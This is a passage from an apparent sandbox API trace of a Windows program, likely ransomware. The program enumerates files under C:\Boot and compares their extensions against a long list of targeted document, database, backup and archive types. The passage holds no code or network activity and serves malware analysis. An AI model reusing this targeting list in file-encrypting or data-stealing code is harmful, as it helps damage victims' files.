(lpString1=".ps", lpString2="mui") returned -1 [0091.348] lstrlenW (lpString=".psb") returned 4 [0091.349] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0091.349] lstrlenW (lpString=".psd") returned 4 [0091.349] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0091.349] lstrlenW (lpString=".pst") returned 4 [0091.349] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0091.349] lstrlenW (lpString=".ptx") returned 4 [0091.349] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0091.349] lstrlenW (lpString=".pub") returned 4 [0091.349] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0091.349] lstrlenW (lpString=".pwm") returned 4 [0091.349] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0091.349] lstrlenW (lpString=".pxr") returned 4 [0091.349] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0091.349] lstrlenW (lpString=".py") returned 3 [0091.349] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0091.349] lstrlenW (lpString=".qt") returned 3 [0091.349] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0091.349] lstrlenW (lpString=".r3d") returned 4 [0091.349] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0091.349] lstrlenW (lpString=".raf") returned 4 [0091.349] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0091.349] lstrlenW (lpString=".rar") returned 4 [0091.349] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0091.349] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0091.349] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0091.350] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0091.350] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0091.350] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0091.350] lstrlenW (lpString="C:\\Boot\\fr-FR") returned 13 [0091.350] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0091.350] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.350] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0091.795] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0091.795] lstrlenW (lpString=".1cd") returned 4 [0091.795] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0091.795] lstrlenW (lpString=".3ds") returned 4 [0091.795] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0091.795] lstrlenW (lpString=".3fr") returned 4 [0091.795] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0091.795] lstrlenW (lpString=".3g2") returned 4 [0091.795] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0091.795] lstrlenW (lpString=".3gp") returned 4 [0091.795] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0091.795] lstrlenW (lpString=".7z") returned 3 [0091.795] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0091.795] lstrlenW (lpString=".accda") returned 6 [0091.795] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0091.795] lstrlenW (lpString=".accdb") returned 6 [0091.795] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0091.795] lstrlenW (lpString=".accdc") returned 6 [0091.795] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0091.796] lstrlenW (lpString=".accde") returned 6 [0091.796] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0091.796] lstrlenW (lpString=".accdt") returned 6 [0091.796] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0091.796] lstrlenW (lpString=".accdw") returned 6 [0091.796] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0091.796] lstrlenW (lpString=".adb") returned 4 [0091.796] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0091.796] lstrlenW (lpString=".adp") returned 4 [0091.796] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0091.796] lstrlenW (lpString=".ai") returned 3 [0091.796] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0091.796] lstrlenW (lpString=".ai3") returned 4 [0091.796] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0091.796] lstrlenW (lpString=".ai4") returned 4 [0091.796] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0091.796] lstrlenW (lpString=".ai5") returned 4 [0091.796] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0091.796] lstrlenW (lpString=".ai6") returned 4 [0091.796] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0091.796] lstrlenW (lpString=".ai7") returned 4 [0091.796] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0091.796] lstrlenW (lpString=".ai8") returned 4 [0091.796] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0091.796] lstrlenW (lpString=".anim") returned 5 [0091.796] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0091.796] lstrlenW (lpString=".arw") returned 4 [0091.797] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0091.797] lstrlenW (lpString=".as") returned 3 [0091.797] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0091.797] lstrlenW (lpString=".asa") returned 4 [0091.797] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0091.797] lstrlenW (lpString=".asc") returned 4 [0091.797] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0091.798] lstrlenW (lpString=".ascx") returned 5 [0091.798] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0091.798] lstrlenW (lpString=".asm") returned 4 [0091.798] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0091.798] lstrlenW (lpString=".asmx") returned 5 [0091.798] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0091.798] lstrlenW (lpString=".asp") returned 4 [0091.798] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0091.798] lstrlenW (lpString=".aspx") returned 5 [0091.798] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0091.798] lstrlenW (lpString=".asr") returned 4 [0091.798] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0091.798] lstrlenW (lpString=".asx") returned 4 [0091.798] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0091.798] lstrlenW (lpString=".avi") returned 4 [0091.798] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0091.798] lstrlenW (lpString=".avs") returned 4 [0091.798] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0091.798] lstrlenW (lpString=".backup") returned 7 [0091.798] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0091.798] lstrlenW (lpString=".bak") returned 4 [0091.798] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0091.798] lstrlenW (lpString=".bay") returned 4 [0091.798] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0091.798] lstrlenW (lpString=".bd") returned 3 [0091.798] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0091.799] lstrlenW (lpString=".bin") returned 4 [0091.799] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".bmp") returned 4 [0091.799] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".bz2") returned 4 [0091.799] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".c") returned 2 [0091.799] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0091.799] lstrlenW (lpString=".cdr") returned 4 [0091.799] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".cer") returned 4 [0091.799] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".cf") returned 3 [0091.799] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0091.799] lstrlenW (lpString=".cfc") returned 4 [0091.799] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".cfm") returned 4 [0091.799] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".cfml") returned 5 [0091.799] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0091.799] lstrlenW (lpString=".cfu") returned 4 [0091.799] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".chm") returned 4 [0091.799] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".cin") returned 4 [0091.799] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0091.799] lstrlenW (lpString=".class") returned 6 [0091.800] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0091.800] lstrlenW (lpString=".clx") returned 4 [0091.800] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".config") returned 7 [0091.800] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0091.800] lstrlenW (lpString=".cpp") returned 4 [0091.800] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".cr2") returned 4 [0091.800] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".crt") returned 4 [0091.800] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".crw") returned 4 [0091.800] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".cs") returned 3 [0091.800] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0091.800] lstrlenW (lpString=".css") returned 4 [0091.800] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".csv") returned 4 [0091.800] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".cub") returned 4 [0091.800] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".dae") returned 4 [0091.800] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".dat") returned 4 [0091.800] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0091.800] lstrlenW (lpString=".db") returned 3 [0091.801] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0091.801] lstrlenW (lpString=".dbf") returned 4 [0091.801] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".dbx") returned 4 [0091.801] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".dc3") returned 4 [0091.801] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".dcm") returned 4 [0091.801] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".dcr") returned 4 [0091.801] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".der") returned 4 [0091.801] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".dib") returned 4 [0091.801] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".dic") returned 4 [0091.801] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".dif") returned 4 [0091.801] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".divx") returned 5 [0091.801] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0091.801] lstrlenW (lpString=".djvu") returned 5 [0091.801] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0091.801] lstrlenW (lpString=".dng") returned 4 [0091.801] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0091.801] lstrlenW (lpString=".doc") returned 4 [0091.802] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0091.802] lstrlenW (lpString=".docm") returned 5 [0091.802] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0091.802] lstrlenW (lpString=".docx") returned 5 [0091.802] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0091.802] lstrlenW (lpString=".dot") returned 4 [0091.802] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0091.802] lstrlenW (lpString=".dotm") returned 5 [0091.802] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0091.802] lstrlenW (lpString=".dotx") returned 5 [0091.802] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0091.802] lstrlenW (lpString=".dpx") returned 4 [0091.802] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0091.802] lstrlenW (lpString=".dqy") returned 4 [0091.802] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0091.802] lstrlenW (lpString=".dsn") returned 4 [0091.802] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0091.802] lstrlenW (lpString=".dt") returned 3 [0091.802] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0091.802] lstrlenW (lpString=".dtd") returned 4 [0091.802] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0091.802] lstrlenW (lpString=".dwg") returned 4 [0091.802] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0091.802] lstrlenW (lpString=".dwt") returned 4 [0091.802] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0091.802] lstrlenW (lpString=".dx") returned 3 [0091.803] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0091.803] lstrlenW (lpString=".dxf") returned 4 [0091.803] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0091.803] lstrlenW (lpString=".edml") returned 5 [0091.803] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0091.803] lstrlenW (lpString=".efd") returned 4 [0091.803] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0091.803] lstrlenW (lpString=".elf") returned 4 [0091.803] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0091.803] lstrlenW (lpString=".emf") returned 4 [0091.803] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0091.803] lstrlenW (lpString=".emz") returned 4 [0091.803] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0091.803] lstrlenW (lpString=".epf") returned 4 [0091.803] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0091.803] lstrlenW (lpString=".eps") returned 4 [0091.803] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0091.803] lstrlenW (lpString=".epsf") returned 5 [0091.803] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0091.803] lstrlenW (lpString=".epsp") returned 5 [0091.803] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0091.803] lstrlenW (lpString=".erf") returned 4 [0091.803] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0091.803] lstrlenW (lpString=".exr") returned 4 [0091.803] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0091.803] lstrlenW (lpString=".f4v") returned 4 [0091.803] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".fido") returned 5 [0091.804] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0091.804] lstrlenW (lpString=".flm") returned 4 [0091.804] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".flv") returned 4 [0091.804] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".frm") returned 4 [0091.804] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".fxg") returned 4 [0091.804] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".geo") returned 4 [0091.804] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".gif") returned 4 [0091.804] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".grs") returned 4 [0091.804] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".gz") returned 3 [0091.804] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0091.804] lstrlenW (lpString=".h") returned 2 [0091.804] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0091.804] lstrlenW (lpString=".hdr") returned 4 [0091.804] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".hpp") returned 4 [0091.804] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0091.804] lstrlenW (lpString=".hta") returned 4 [0091.804] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".htc") returned 4 [0091.805] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".htm") returned 4 [0091.805] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".html") returned 5 [0091.805] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0091.805] lstrlenW (lpString=".icb") returned 4 [0091.805] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".ics") returned 4 [0091.805] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".iff") returned 4 [0091.805] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".inc") returned 4 [0091.805] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".indd") returned 5 [0091.805] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0091.805] lstrlenW (lpString=".ini") returned 4 [0091.805] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".iqy") returned 4 [0091.805] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".j2c") returned 4 [0091.805] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".j2k") returned 4 [0091.805] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0091.805] lstrlenW (lpString=".java") returned 5 [0091.805] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0091.805] lstrlenW (lpString=".jp2") returned 4 [0091.806] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".jpc") returned 4 [0091.806] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".jpe") returned 4 [0091.806] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".jpeg") returned 5 [0091.806] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0091.806] lstrlenW (lpString=".jpf") returned 4 [0091.806] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".jpg") returned 4 [0091.806] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".jpx") returned 4 [0091.806] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".js") returned 3 [0091.806] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0091.806] lstrlenW (lpString=".jsf") returned 4 [0091.806] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".json") returned 5 [0091.806] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0091.806] lstrlenW (lpString=".jsp") returned 4 [0091.806] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".kdc") returned 4 [0091.806] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".kmz") returned 4 [0091.806] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0091.806] lstrlenW (lpString=".kwm") returned 4 [0091.807] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".lasso") returned 6 [0091.807] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0091.807] lstrlenW (lpString=".lbi") returned 4 [0091.807] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".lgf") returned 4 [0091.807] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".lgp") returned 4 [0091.807] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".log") returned 4 [0091.807] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".m1v") returned 4 [0091.807] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".m4a") returned 4 [0091.807] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".m4v") returned 4 [0091.807] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".max") returned 4 [0091.807] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".md") returned 3 [0091.807] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0091.807] lstrlenW (lpString=".mda") returned 4 [0091.807] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".mdb") returned 4 [0091.807] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0091.807] lstrlenW (lpString=".mde") returned 4 [0091.808] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mdf") returned 4 [0091.808] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mdw") returned 4 [0091.808] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mef") returned 4 [0091.808] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mft") returned 4 [0091.808] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mfw") returned 4 [0091.808] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mht") returned 4 [0091.808] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mhtml") returned 6 [0091.808] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0091.808] lstrlenW (lpString=".mka") returned 4 [0091.808] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mkidx") returned 6 [0091.808] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0091.808] lstrlenW (lpString=".mkv") returned 4 [0091.808] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mos") returned 4 [0091.808] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mov") returned 4 [0091.808] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0091.808] lstrlenW (lpString=".mp3") returned 4 [0091.809] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0091.809] lstrlenW (lpString=".mp4") returned 4 [0091.809] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0091.809] lstrlenW (lpString=".mpeg") returned 5 [0091.809] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0091.809] lstrlenW (lpString=".mpg") returned 4 [0091.809] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0091.809] lstrlenW (lpString=".mpv") returned 4 [0091.809] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0091.809] lstrlenW (lpString=".mrw") returned 4 [0091.809] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0091.809] lstrlenW (lpString=".msg") returned 4 [0091.809] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0091.809] lstrlenW (lpString=".mxl") returned 4 [0091.809] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0091.809] lstrlenW (lpString=".myd") returned 4 [0091.809] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0091.809] lstrlenW (lpString=".myi") returned 4 [0091.809] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0091.809] lstrlenW (lpString=".nef") returned 4 [0091.809] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0091.809] lstrlenW (lpString=".nrw") returned 4 [0091.809] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0091.809] lstrlenW (lpString=".obj") returned 4 [0091.809] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0091.809] lstrlenW (lpString=".odb") returned 4 [0091.810] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".odc") returned 4 [0091.810] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".odm") returned 4 [0091.810] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".odp") returned 4 [0091.810] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".ods") returned 4 [0091.810] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".oft") returned 4 [0091.810] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".one") returned 4 [0091.810] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0091.810] lstrlenW (lpString=".onepkg") returned 7 